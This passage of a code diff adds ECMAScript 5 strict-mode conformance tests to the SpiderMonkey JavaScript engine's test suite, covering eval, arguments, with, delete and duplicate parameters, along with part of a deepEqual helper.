+ * equal. Equality on other types is ==.
+ */
+function deepEqual(a, b) {
+ if (typeof a != typeof b)
+ return false;
+
+ if (typeof a == 'object') {
+ var props = {};
+ // For every property of a, does b have that property with an equal value?
+ for (var prop in a) {
+ if (!deepEqual(a[prop], b[prop]))
+ return false;
+ props[prop] = true;
+ }
+ // Are all of b's properties present on a?
+ for (var prop in b)
+ if (!props[prop])
+ return false;
+ // length isn't enumerable, but we want to check it, too.
+ return a.length == b.length;
+ }
+
+ if (a === b) {
+ // Distinguish 0 from -0, even though they are ===.
+ return a !== 0 || 1/a === 1/b;
+ }
+
+ // Treat NaNs as equal, even though NaN !== NaN.
+ // NaNs are the only non-reflexive values, i.e., if a !== a, then a is a NaN.
+ // isNaN is broken: it converts its argument to number, so isNaN("foo") => true
+ return a !== a && b !== b;
+}
diff --git a/js/src/tests/ecma_5/strict/10.4.2.js b/js/src/tests/ecma_5/strict/10.4.2.js
new file mode 100644
index 000000000..b68578d64
--- /dev/null
+++ b/js/src/tests/ecma_5/strict/10.4.2.js
@@ -0,0 +1,55 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+/* Direct calls to eval should inherit the strictness of the calling code. */
+assertEq(testLenientAndStrict("eval('010')",
+ completesNormally,
+ raisesException(SyntaxError)),
+ true);
+
+/*
+ * Directives in the eval code itself should always override a direct
+ * caller's strictness.
+ */
+assertEq(testLenientAndStrict("eval('\"use strict\"; 010')",
+ raisesException(SyntaxError),
+ raisesException(SyntaxError)),
+ true);
+
+/* Code passed to indirect calls to eval should never be strict. */
+assertEq(testLenientAndStrict("var evil=eval; evil('010')",
+ completesNormally,
+ completesNormally),
+ true);
+
+/*
+ * Code passed to the Function constructor never inherits the caller's
+ * strictness.
+ */
+assertEq(completesNormally("Function('010')"),
+ true);
+assertEq(raisesException(SyntaxError)("Function('\"use strict\"; 010')"),
+ true);
+
+/*
+ * If 'eval' causes a frame's primitive |this| to become wrapped, the frame should see the same
+ * wrapper object as the eval code.
+ */
+var call_this, eval_this;
+function f(code) {
+ /*
+ * At this point, a primitive |this| has not yet been wrapped. A
+ * reference to |this| from the eval call should wrap it, and the wrapper
+ * should be stored where the call frame can see it.
+ */
+ eval(code);
+ call_this = this;
+}
+f.call(true, 'eval_this = this');
+assertEq(call_this, eval_this);
+
+reportCompare(true, true);
diff --git a/js/src/tests/ecma_5/strict/10.4.3.js b/js/src/tests/ecma_5/strict/10.4.3.js
new file mode 100644
index 000000000..b70a6a0d7
--- /dev/null
+++ b/js/src/tests/ecma_5/strict/10.4.3.js
@@ -0,0 +1,58 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+var obj = {}
+
+function strict() { "use strict"; return this; }
+assertEq(strict.call(""), "");
+assertEq(strict.call(true), true);
+assertEq(strict.call(42), 42);
+assertEq(strict.call(null), null);
+assertEq(strict.call(undefined), undefined);
+assertEq(strict.call(obj), obj);
+assertEq(new strict() instanceof Object, true);
+
+/*
+ * The compiler internally converts x['foo'] to x.foo. Writing x[s] where
+ * s='foo' is enough to throw it off the scent for now.
+ */
+var strictString = 'strict';
+
+Boolean.prototype.strict = strict;
+assertEq(true.strict(), true);
+assertEq(true[strictString](), true);
+
+Number.prototype.strict = strict;
+assertEq((42).strict(), 42);
+assertEq(42[strictString](), 42);
+
+String.prototype.strict = strict;
+assertEq("".strict(), "");
+assertEq(""[strictString](), "");
+
+function lenient() { return this; }
+assertEq(lenient.call("") instanceof String, true);
+assertEq(lenient.call(true) instanceof Boolean, true);
+assertEq(lenient.call(42) instanceof Number, true);
+assertEq(lenient.call(null), this);
+assertEq(lenient.call(undefined), this);
+assertEq(lenient.call(obj), obj);
+assertEq(new lenient() instanceof Object, true);
+
+var lenientString = 'lenient';
+
+Boolean.prototype.lenient = lenient;
+assertEq(true.lenient() instanceof Boolean, true);
+assertEq(true[lenientString]() instanceof Boolean, true);
+
+Number.prototype.lenient = lenient;
+assertEq(42[lenientString]() instanceof Number, true);
+
+String.prototype.lenient = lenient;
+assertEq(""[lenientString]() instanceof String, true);
+
+reportCompare(true, true);
diff --git a/js/src/tests/ecma_5/strict/10.6.js b/js/src/tests/ecma_5/strict/10.6.js
new file mode 100644
index 000000000..3001d0ddc
--- /dev/null
+++ b/js/src/tests/ecma_5/strict/10.6.js
@@ -0,0 +1,55 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+function callFunctionBody(expr) {
+ return (
+ '(function f() {\n'
+ + 'Object.defineProperties(arguments, {1: { writable: false },\n'
+ + ' 2: { configurable: false },\n'
+ + ' 3: { writable: false,\n'
+ + ' configurable: false }});\n'
+ + 'return (' + expr + ');\n'
+ + '})(0, 1, 2, 3);');
+}
+
+assertEq(testLenientAndStrict(callFunctionBody('arguments[0] = 42'),
+ returns(42), returns(42)),
+ true);
+
+assertEq(testLenientAndStrict(callFunctionBody('delete arguments[0]'),
+ returns(true), returns(true)),
+ true);
+
+
+assertEq(testLenientAndStrict(callFunctionBody('arguments[1] = 42'),
+ returns(42), raisesException(TypeError)),
+ true);
+
+assertEq(testLenientAndStrict(callFunctionBody('delete arguments[1]'),
+ returns(true), returns(true)),
+ true);
+
+
+assertEq(testLenientAndStrict(callFunctionBody('arguments[2] = 42'),
+ returns(42), returns(42)),
+ true);
+
+assertEq(testLenientAndStrict(callFunctionBody('delete arguments[2]'),
+ returns(false), raisesException(TypeError)),
+ true);
+
+
+assertEq(testLenientAndStrict(callFunctionBody('arguments[3] = 42'),
+ returns(42), raisesException(TypeError)),
+ true);
+
+assertEq(testLenientAndStrict(callFunctionBody('delete arguments[3]'),
+ returns(false), raisesException(TypeError)),
+ true);
+
+
+reportCompare(true, true);
diff --git a/js/src/tests/ecma_5/strict/11.1.5.js b/js/src/tests/ecma_5/strict/11.1.5.js
new file mode 100644
index 000000000..7ba12fa98
--- /dev/null
+++ b/js/src/tests/ecma_5/strict/11.1.5.js
@@ -0,0 +1,171 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+/* Simple identifier labels. */
+assertEq(testLenientAndStrict('({x:1, x:1})',
+ parsesSuccessfully,
+ parsesSuccessfully),
+ true);
+
+assertEq(testLenientAndStrict('({x:1, y:1})',
+ parsesSuccessfully,
+ parsesSuccessfully),
+ true);
+
+assertEq(testLenientAndStrict('({x:1, y:1, x:1})',
+ parsesSuccessfully,
+ parsesSuccessfully),
+ true);
+
+/* Property names can be written as strings, too. */
+assertEq(testLenientAndStrict('({x:1, "x":1})',
+ parsesSuccessfully,
+ parsesSuccessfully),
+ true);
+
+assertEq(testLenientAndStrict('({"x":1, x:1})',
+ parsesSuccessfully,
+ parsesSuccessfully),
+ true);
+
+assertEq(testLenientAndStrict('({"x":1, "x":1})',
+ parsesSuccessfully,
+ parsesSuccessfully),
+ true);
+
+/* Numeric property names. */
+assertEq(testLenientAndStrict('({1.5:1, 1.5:1})',
+ parsesSuccessfully,
+ parsesSuccessfully),
+ true);
+
+assertEq(testLenientAndStrict('({1.5:1, 15e-1:1})',
+ parsesSuccessfully,
+ parsesSuccessfully),
+ true);
+
+assertEq(testLenientAndStrict('({6.02214179e23:1, 6.02214179e23:1})',
+ parsesSuccessfully,
+ parsesSuccessfully),
+ true);
+
+assertEq(testLenientAndStrict('({6.02214179e23:1, 3.1415926535:1})',
+ parsesSuccessfully,
+ parsesSuccessfully),
+ true);
+
+assertEq(testLenientAndStrict('({ 1: 1, "1": 2 })',
+ parsesSuccessfully,
+ parsesSuccessfully),
+ true);
+
+assertEq(testLenientAndStrict('({ "1": 1, 1: 2 })',
+ parsesSuccessfully,
+ parsesSuccessfully),
+ true);
+
+assertEq(testLenientAndStrict('({ 2.5: 1, "2.5": 2 })',
+ parsesSuccessfully,
+ parsesSuccessfully),
+ true);
+
+assertEq(testLenientAndStrict('({ "2.5": 1, 2.5: 2 })',
+ parsesSuccessfully,
+ parsesSuccessfully),
+ true);
+
+/* Many properties, to exercise JSAtomList's hash-table variant. */
+assertEq(testLenientAndStrict('({a:1, b:1, c:1, d:1, e:1, f:1, g:1, h:1, i:1, j:1, k:1, l:1, m:1, n:1, o:1, p:1, q:1, r:1, s:1, t:1, u:1, v:1, w:1, x:1, y:1, z:1})',
+ parsesSuccessfully,
+ parsesSuccessfully),
+ true);
+
+assertEq(testLenientAndStrict('({a:1, b:1, c:1, d:1, e:1, f:1, g:1, h:1, i:1, j:1, k:1, l:1, m:1, n:1, o:1, p:1, q:1, r:1, s:1, t:1, u:1, v:1, w:1, x:1, y:1, a:1})',
+ parsesSuccessfully,
+ parsesSuccessfully),
+ true);
+
+/*
+ * Getters, setters, and value properties should conflict only when
+ * appropriate.
+ */
+assertEq(testLenientAndStrict('({get x() {}, x:1})',
+ parsesSuccessfully,
+ parsesSuccessfully),
+ true);
+
+assertEq(testLenientAndStrict('({x:1, get x() {}})',
+ parsesSuccessfully,
+ parsesSuccessfully),
+ true);
+
+assertEq(testLenientAndStrict('({set x(q) {}, x:1})',
+ parsesSuccessfully,
+ parsesSuccessfully),
+ true);
+
+assertEq(testLenientAndStrict('({x:1, set x(q) {}})',
+ parsesSuccessfully,
+ parsesSuccessfully),
+ true);
+
+assertEq(testLenientAndStrict('({1:1, set 1(q) {}})',
+ parsesSuccessfully,
+ parsesSuccessfully),
+ true);
+
+assertEq(testLenientAndStrict('({set 1(q) {}, 1:1})',
+ parsesSuccessfully,
+ parsesSuccessfully),
+ true);
+
+assertEq(testLenientAndStrict('({"1":1, set 1(q) {}})',
+ parsesSuccessfully,
+ parsesSuccessfully),
+ true);
+
+assertEq(testLenientAndStrict('({set 1(q) {}, "1":1})',
+ parsesSuccessfully,
+ parsesSuccessfully),
+ true);
+
+assertEq(testLenientAndStrict('({get x() {}, set x(q) {}})',
+ parsesSuccessfully,
+ parsesSuccessfully),
+ true);
+
+assertEq(testLenientAndStrict('({set x(q) {}, get x() {}})',
+ parsesSuccessfully,
+ parsesSuccessfully),
+ true);
+
+assertEq(testLenientAndStrict('({get x() {}, set x(q) {}, x:1})',
+ parsesSuccessfully,
+ parsesSuccessfully),
+ true);
+
+assertEq(testLenientAndStrict('({set x(q) {}, get x() {}, x:1})',
+ parsesSuccessfully,
+ parsesSuccessfully),
+ true);
+
+assertEq(testLenientAndStrict('({get x() {}, get x() {}})',
+ parsesSuccessfully,
+ parsesSuccessfully),
+ true);
+
+assertEq(testLenientAndStrict('({set x(q) {}, set x(q) {}})',
+ parsesSuccessfully,
+ parsesSuccessfully),
+ true);
+
+assertEq(testLenientAndStrict('({get x() {}, set x(q) {}, y:1})',
+ parsesSuccessfully,
+ parsesSuccessfully),
+ true);
+
+reportCompare(true, true);
diff --git a/js/src/tests/ecma_5/strict/11.13.1.js b/js/src/tests/ecma_5/strict/11.13.1.js
new file mode 100644
index 000000000..d3d3e6989
--- /dev/null
+++ b/js/src/tests/ecma_5/strict/11.13.1.js
@@ -0,0 +1,29 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+/*
+ * Simple assignment expressions in strict mode code must not be
+ * assignments to 'eval' or 'arguments'.
+ */
+assertEq(testLenientAndStrict('arguments=1',
+ parsesSuccessfully,
+ parseRaisesException(SyntaxError)),
+ true);
+assertEq(testLenientAndStrict('eval=1',
+ parsesSuccessfully,
+ parseRaisesException(SyntaxError)),
+ true);
+assertEq(testLenientAndStrict('(arguments)=1',
+ parsesSuccessfully,
+ parseRaisesException(SyntaxError)),
+ true);
+assertEq(testLenientAndStrict('(eval)=1',
+ parsesSuccessfully,
+ parseRaisesException(SyntaxError)),
+ true);
+
+reportCompare(true, true);
diff --git a/js/src/tests/ecma_5/strict/11.13.2.js b/js/src/tests/ecma_5/strict/11.13.2.js
new file mode 100644
index 000000000..678f0b614
--- /dev/null
+++ b/js/src/tests/ecma_5/strict/11.13.2.js
@@ -0,0 +1,29 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+/*
+ * Compound assignment expressions in strict mode code must not be
+ * assignments to 'eval' or 'arguments'.
+ */
+assertEq(testLenientAndStrict('arguments+=1',
+ parsesSuccessfully,
+ parseRaisesException(SyntaxError)),
+ true);
+assertEq(testLenientAndStrict('eval+=1',
+ parsesSuccessfully,
+ parseRaisesException(SyntaxError)),
+ true);
+assertEq(testLenientAndStrict('(arguments)+=1',
+ parsesSuccessfully,
+ parseRaisesException(SyntaxError)),
+ true);
+assertEq(testLenientAndStrict('(eval)+=1',
+ parsesSuccessfully,
+ parseRaisesException(SyntaxError)),
+ true);
+
+reportCompare(true, true);
diff --git a/js/src/tests/ecma_5/strict/11.3.1.js b/js/src/tests/ecma_5/strict/11.3.1.js
new file mode 100644
index 000000000..159f78583
--- /dev/null
+++ b/js/src/tests/ecma_5/strict/11.3.1.js
@@ -0,0 +1,29 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+/*
+ * Postfix increment expressions must not have 'eval' or 'arguments'
+ * as their operands.
+ */
+assertEq(testLenientAndStrict('arguments++',
+ parsesSuccessfully,
+ parseRaisesException(SyntaxError)),
+ true);
+assertEq(testLenientAndStrict('eval++',
+ parsesSuccessfully,
+ parseRaisesException(SyntaxError)),
+ true);
+assertEq(testLenientAndStrict('(arguments)++',
+ parsesSuccessfully,
+ parseRaisesException(SyntaxError)),
+ true);
+assertEq(testLenientAndStrict('(eval)++',
+ parsesSuccessfully,
+ parseRaisesException(SyntaxError)),
+ true);
+
+reportCompare(true, true);
diff --git a/js/src/tests/ecma_5/strict/11.3.2.js b/js/src/tests/ecma_5/strict/11.3.2.js
new file mode 100644
index 000000000..c8225e129
--- /dev/null
+++ b/js/src/tests/ecma_5/strict/11.3.2.js
@@ -0,0 +1,29 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+/*
+ * Postfix decrement expressions must not have 'eval' or 'arguments'
+ * as their operands.
+ */
+assertEq(testLenientAndStrict('arguments--',
+ parsesSuccessfully,
+ parseRaisesException(SyntaxError)),
+ true);
+assertEq(testLenientAndStrict('eval--',
+ parsesSuccessfully,
+ parseRaisesException(SyntaxError)),
+ true);
+assertEq(testLenientAndStrict('(arguments)--',
+ parsesSuccessfully,
+ parseRaisesException(SyntaxError)),
+ true);
+assertEq(testLenientAndStrict('(eval)--',
+ parsesSuccessfully,
+ parseRaisesException(SyntaxError)),
+ true);
+
+reportCompare(true, true);
diff --git a/js/src/tests/ecma_5/strict/11.4.1.js b/js/src/tests/ecma_5/strict/11.4.1.js
new file mode 100644
index 000000000..1125962a3
--- /dev/null
+++ b/js/src/tests/ecma_5/strict/11.4.1.js
@@ -0,0 +1,45 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+/* Deleting an identifier is a syntax error in strict mode code only. */
+assertEq(testLenientAndStrict('delete x;',
+ parsesSuccessfully,
+ parseRaisesException(SyntaxError)),
+ true);
+
+/*
+ * A reference expression surrounded by parens is itself a reference
+ * expression.
+ */
+assertEq(testLenientAndStrict('delete (x);',
+ parsesSuccessfully,
+ parseRaisesException(SyntaxError)),
+ true);
+
+/* Deleting other sorts of expressions are not syntax errors in either mode. */
+assertEq(testLenientAndStrict('delete x.y;',
+ parsesSuccessfully,
+ parsesSuccessfully),
+ true);
+assertEq(testLenientAndStrict('delete Object();',
+ returns(true),
+ returns(true)),
+ true);
+
+/* Functions should inherit the surrounding code's strictness. */
+assertEq(testLenientAndStrict('function f() { delete x; }',
+ parsesSuccessfully,
+ parseRaisesException(SyntaxError)),
+ true);
+
+/* Local directives override the surrounding code's strictness. */
+assertEq(testLenientAndStrict('function f() { "use strict"; delete x; }',
+ parseRaisesException(SyntaxError),
+ parseRaisesException(SyntaxError)),
+ true);
+
+reportCompare(true, true);
diff --git a/js/src/tests/ecma_5/strict/11.4.4.js b/js/src/tests/ecma_5/strict/11.4.4.js
new file mode 100644
index 000000000..bd22b54f5
--- /dev/null
+++ b/js/src/tests/ecma_5/strict/11.4.4.js
@@ -0,0 +1,29 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+/*
+ * Prefix increment expressions must not have 'eval' or 'arguments' as
+ * their operands.
+ */
+assertEq(testLenientAndStrict('++arguments',
+ parsesSuccessfully,
+ parseRaisesException(SyntaxError)),
+ true);
+assertEq(testLenientAndStrict('++eval',
+ parsesSuccessfully,
+ parseRaisesException(SyntaxError)),
+ true);
+assertEq(testLenientAndStrict('++(arguments)',
+ parsesSuccessfully,
+ parseRaisesException(SyntaxError)),
+ true);
+assertEq(testLenientAndStrict('++(eval)',
+ parsesSuccessfully,
+ parseRaisesException(SyntaxError)),
+ true);
+
+reportCompare(true, true);
diff --git a/js/src/tests/ecma_5/strict/11.4.5.js b/js/src/tests/ecma_5/strict/11.4.5.js
new file mode 100644
index 000000000..754b8f96e
--- /dev/null
+++ b/js/src/tests/ecma_5/strict/11.4.5.js
@@ -0,0 +1,29 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+/*
+ * Prefix decrement expressions must not have 'eval' or 'arguments' as
+ * their operands.
+ */
+assertEq(testLenientAndStrict('--arguments',
+ parsesSuccessfully,
+ parseRaisesException(SyntaxError)),
+ true);
+assertEq(testLenientAndStrict('--eval',
+ parsesSuccessfully,
+ parseRaisesException(SyntaxError)),
+ true);
+assertEq(testLenientAndStrict('--(arguments)',
+ parsesSuccessfully,
+ parseRaisesException(SyntaxError)),
+ true);
+assertEq(testLenientAndStrict('--(eval)',
+ parsesSuccessfully,
+ parseRaisesException(SyntaxError)),
+ true);
+
+reportCompare(true, true);
diff --git a/js/src/tests/ecma_5/strict/12.10.1.js b/js/src/tests/ecma_5/strict/12.10.1.js
new file mode 100644
index 000000000..f45c77ad2
--- /dev/null
+++ b/js/src/tests/ecma_5/strict/12.10.1.js
@@ -0,0 +1,30 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+/*
+ * 'with' statements are forbidden in strict top-level code. This is
+ * eval code, but that's close enough.
+ */
+assertEq(testLenientAndStrict('with (1) {}',
+ completesNormally,
+ raisesException(SyntaxError)),
+ true);
+
+/* 'with' statements are forbidden in strict function code. */
+assertEq(testLenientAndStrict('function f() { "use strict"; with (1) {} }',
+ parseRaisesException(SyntaxError),
+ parseRaisesException(SyntaxError)),
+ true);
+
+/*
+ * A use strict directive in a function mustn't affect the strictness
+ * of subsequent code.
+ */
+assertEq(parsesSuccessfully('function f() { "use strict"; }; with (1) {}'),
+ true);
+
+reportCompare(true, true);
diff --git a/js/src/tests/ecma_5/strict/12.14.1.js b/js/src/tests/ecma_5/strict/12.14.1.js
new file mode 100644
index 000000000..e7f9b303b
--- /dev/null
+++ b/js/src/tests/ecma_5/strict/12.14.1.js
@@ -0,0 +1,37 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+/*
+ * In strict mode, the identifier bound by a 'catch' clause may not
+ * be 'eval' or 'arguments'.
+ */
+assertEq(testLenientAndStrict('try{}catch(eval){}',
+ parsesSuccessfully,
+ parseRaisesException(SyntaxError)),
+ true);
+assertEq(testLenientAndStrict('try{}catch([eval]){}',
+ parsesSuccessfully,
+ parseRaisesException(SyntaxError)),
+ true);
+assertEq(testLenientAndStrict('try{}catch({x:eval}){}',
+ parsesSuccessfully,
+ parseRaisesException(SyntaxError)),
+ true);
+assertEq(testLenientAndStrict('try{}catch(arguments){}',
+ parsesSuccessfully,
+ parseRaisesException(SyntaxError)),
+ true);
+assertEq(testLenientAndStrict('try{}catch([arguments]){}',
+ parsesSuccessfully,
+ parseRaisesException(SyntaxError)),
+ true);
+assertEq(testLenientAndStrict('try{}catch({x:arguments}){}',
+ parsesSuccessfully,
+ parseRaisesException(SyntaxError)),
+ true);
+
+reportCompare(true, true);
diff --git a/js/src/tests/ecma_5/strict/12.2.1.js b/js/src/tests/ecma_5/strict/12.2.1.js
new file mode 100644
index 000000000..ba348cf43
--- /dev/null
+++ b/js/src/tests/ecma_5/strict/12.2.1.js
@@ -0,0 +1,25 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+assertEq(testLenientAndStrict('var eval;',
+ parsesSuccessfully,
+ parseRaisesException(SyntaxError)),
+ true);
+assertEq(testLenientAndStrict('var x,eval;',
+ parsesSuccessfully,
+ parseRaisesException(SyntaxError)),
+ true);
+assertEq(testLenientAndStrict('var arguments;',
+ parsesSuccessfully,
+ parseRaisesException(SyntaxError)),
+ true);
+assertEq(testLenientAndStrict('var x,arguments;',
+ parsesSuccessfully,
+ parseRaisesException(SyntaxError)),
+ true);
+
+reportCompare(true, true);
diff --git a/js/src/tests/ecma_5/strict/13.1.js b/js/src/tests/ecma_5/strict/13.1.js
new file mode 100644
index 000000000..c5f2acb91
--- /dev/null
+++ b/js/src/tests/ecma_5/strict/13.1.js
@@ -0,0 +1,345 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+/*
+ * In strict mode, it is a syntax error for an identifier to appear
+ * more than once in a function's argument list.
+ */
+
+/*
+ * The parameters of ordinary function definitions should not contain
+ * duplicate identifiers.
+ */
+assertEq(testLenientAndStrict('function f(x,y) {}',
+ parsesSuccessfully,
+ parsesSuccessfully),
+ true);
+assertEq(testLenientAndStrict('function f(x,x) {}',
+ parsesSuccessfully,
+ parseRaisesException(SyntaxError)),
+ true);
+assertEq(testLenientAndStrict('function f(x,y,z,y) {}',
+ parsesSuccessfully,
+ parseRaisesException(SyntaxError)),
+ true);
+
+/* Exercise the hashed local name map case. */
+assertEq(testLenientAndStrict('function f(a,b,c,d,e,f,g,h,d) {}',
+ parsesSuccessfully,
+ parseRaisesException(SyntaxError)),
+ true);
+
+/*
+ * SpiderMonkey has always treated duplicates in destructuring
+ * patterns as an error. Strict mode should not affect this.
+ */
+assertEq(testLenientAndStrict('function f([x,y]) {}',
+ parsesSuccessfully,
+ parsesSuccessfully),
+ true);
+assertEq(testLenientAndStrict('function f([x,x]){}',
+ parseRaisesException(SyntaxError),
+ parseRaisesException(SyntaxError)),
+ true);
+assertEq(testLenientAndStrict('function f(x,[x]){}',
+ parseRaisesException(SyntaxError),
+ parseRaisesException(SyntaxError)),
+ true);
+
+/*
+ * Strict rules apply to the parameters if the function's body is
+ * strict.
+ */
+assertEq(testLenientAndStrict('function f(x,x) { "use strict" };',
+ parseRaisesException(SyntaxError),
+ parseRaisesException(SyntaxError)),
+ true);
+
+/*
+ * Calls to the function constructor should not be affected by the
+ * strictness of the calling code, but should be affected by the
+ * strictness of the function body.
+ */
+assertEq(testLenientAndStrict('Function("x","x","")',
+ completesNormally,
+ completesNormally),
+ true);
+assertEq(testLenientAndStrict('Function("x","y","")',
+ completesNormally,
+ completesNormally),
+ true);
+assertEq(testLenientAndStrict('Function("x","x","\'use strict\'")',
+ raisesException(SyntaxError),
+ raisesException(SyntaxError)),
+ true);
+assertEq(testLenientAndStrict('Function("x","y","\'use strict\'")',
+ completesNormally,
+ completesNormally),
+ true);
+
+
+/*
+ * The parameter lists of function expressions should not contain
+ * duplicate identifiers.
+ */
+assertEq(testLenientAndStrict('(function (x,x) 2)',
+ parsesSuccessfully,
+ parseRaisesException(SyntaxError)),
+ true);
+assertEq(testLenientAndStrict('(function (x,y) 2)',
+ parsesSuccessfully,
+ parsesSuccessfully),
+ true);
+
+/*
+ * All permutations of:
+ * - For the two magic identifiers 'arguments' or 'eval'
+ * - For function definitions, function expressions, expression closures,
+ * and getter and setter property definitions,
+ * - For forms that inherit their context's strictness, and forms that
+ * include their own strictness directives,
+ * - For ordinary parameters, array destructuring parameters, and
+ * object destructuring parameters,
+ * - the magic identifiers may be used to name such parameters
+ * in lenient code, but not in strict code
+ * - the magic identifiers may be used as function names in lenient code,
+ * but not in strict code
+ */
+assertEq(testLenientAndStrict('function f(eval){}',
+ parsesSuccessfully,
+ parseRaisesException(SyntaxError)),
+ true);
+assertEq(testLenientAndStrict('function f([eval]){}',
+ parsesSuccessfully,
+ parseRaisesException(SyntaxError)),
+ true);
+assertEq(testLenientAndStrict('function f({x:eval}){}',
+ parsesSuccessfully,
+ parseRaisesException(SyntaxError)),
+ true);
+assertEq(testLenientAndStrict('function eval(){}',
+ parsesSuccessfully,
+ parseRaisesException(SyntaxError)),
+ true);
+assertEq(testLenientAndStrict('function f(eval){"use strict";}',
+ parseRaisesException(SyntaxError),
+ parseRaisesException(SyntaxError)),
+ true);
+assertEq(testLenientAndStrict('function f([eval]){"use strict";}',
+ parseRaisesException(SyntaxError),
+ parseRaisesException(SyntaxError)),
+ true);
+assertEq(testLenientAndStrict('function f({x:eval}){"use strict";}',
+ parseRaisesException(SyntaxError),
+ parseRaisesException(SyntaxError)),
+ true);
+assertEq(testLenientAndStrict('function eval(){"use strict";}',
+ parseRaisesException(SyntaxError),
+ parseRaisesException(SyntaxError)),
+ true);
+assertEq(testLenientAndStrict('(function f(eval){})',
+ parsesSuccessfully,
+ parseRaisesException(SyntaxError)),
+ true);
+assertEq(testLenientAndStrict('(function f([eval]){})',
+ parsesSuccessfully,
+ parseRaisesException(SyntaxError)),
+ true);
+assertEq(testLenientAndStrict('(function f({x:eval}){})',
+ parsesSuccessfully,
+ parseRaisesException(SyntaxError)),
+ true);
+assertEq(testLenientAndStrict('(function eval(){})',
+ parsesSuccessfully,
+ parseRaisesException(SyntaxError)),
+ true);
+assertEq(testLenientAndStrict('(function f(eval){"use strict";})',
+ parseRaisesException(SyntaxError),
+ parseRaisesException(SyntaxError)),
+ true);
+assertEq(testLenientAndStrict('(function f([eval]){"use strict";})',
+ parseRaisesException(SyntaxError),
+ parseRaisesException(SyntaxError)),
+ true);
+assertEq(testLenientAndStrict('(function f({x:eval}){"use strict";})',
+ parseRaisesException(SyntaxError),
+ parseRaisesException(SyntaxError)),
+ true);
+assertEq(testLenientAndStrict('(function eval(){"use strict";})',
+ parseRaisesException(SyntaxError),
+ parseRaisesException(SyntaxError)),
+ true);
+assertEq(testLenientAndStrict('(function f(eval) 2)',
+ parsesSuccessfully,
+ parseRaisesException(SyntaxError)),
+ true);
+assertEq(testLenientAndStrict('(function f([eval]) 2)',
+ parsesSuccessfully,
+ parseRaisesException(SyntaxError)),
+ true);
+assertEq(testLenientAndStrict('(function f({x:eval}) 2)',
+ parsesSuccessfully,
+ parseRaisesException(SyntaxError)),
+ true);
+assertEq(testLenientAndStrict('(function eval() 2)',
+ parsesSuccessfully,
+ parseRaisesException(SyntaxError)),
+ true);
+assertEq(testLenientAndStrict('({set x(eval){}})',
+ parsesSuccessfully,
+ parseRaisesException(SyntaxError)),
+ true);
+assertEq(testLenientAndStrict('({set x([eval]){}})',
+ parsesSuccessfully,
+ parseRaisesException(SyntaxError)),
+ true);
+assertEq(testLenientAndStrict('({set x({x:eval}){}})',
+ parsesSuccessfully,
+ parseRaisesException(SyntaxError)),
+ true);
+assertEq(testLenientAndStrict('({set x(eval){"use strict";}})',
+ parseRaisesException(SyntaxError),
+ parseRaisesException(SyntaxError)),
+ true);
+assertEq(testLenientAndStrict('({set x([eval]){"use strict";}})',
+ parseRaisesException(SyntaxError),
+ parseRaisesException(SyntaxError)),
+ true);
+assertEq(testLenientAndStrict('({set x({x:eval}){"use strict";}})',
+ parseRaisesException(SyntaxError),
+ parseRaisesException(SyntaxError)),
+ true);
+assertEq(testLenientAndStrict('function f(arguments){}',
+ parsesSuccessfully,
+ parseRaisesException(SyntaxError)),
+ true);
+assertEq(testLenientAndStrict('function f([arguments]){}',
+ parsesSuccessfully,
+ parseRaisesException(SyntaxError)),
+ true);
+assertEq(testLenientAndStrict('function f({x:arguments}){}',
+ parsesSuccessfully,
+ parseRaisesException(SyntaxError)),
+ true);
+assertEq(testLenientAndStrict('function arguments(){}',
+ parsesSuccessfully,
+ parseRaisesException(SyntaxError)),
+ true);
+assertEq(testLenientAndStrict('function f(arguments){"use strict";}',
+ parseRaisesException(SyntaxError),
+ parseRaisesException(SyntaxError)),
+ true);
+assertEq(testLenientAndStrict('function f([arguments]){"use strict";}',
+ parseRaisesException(SyntaxError),
+ parseRaisesException(SyntaxError)),
+ true);
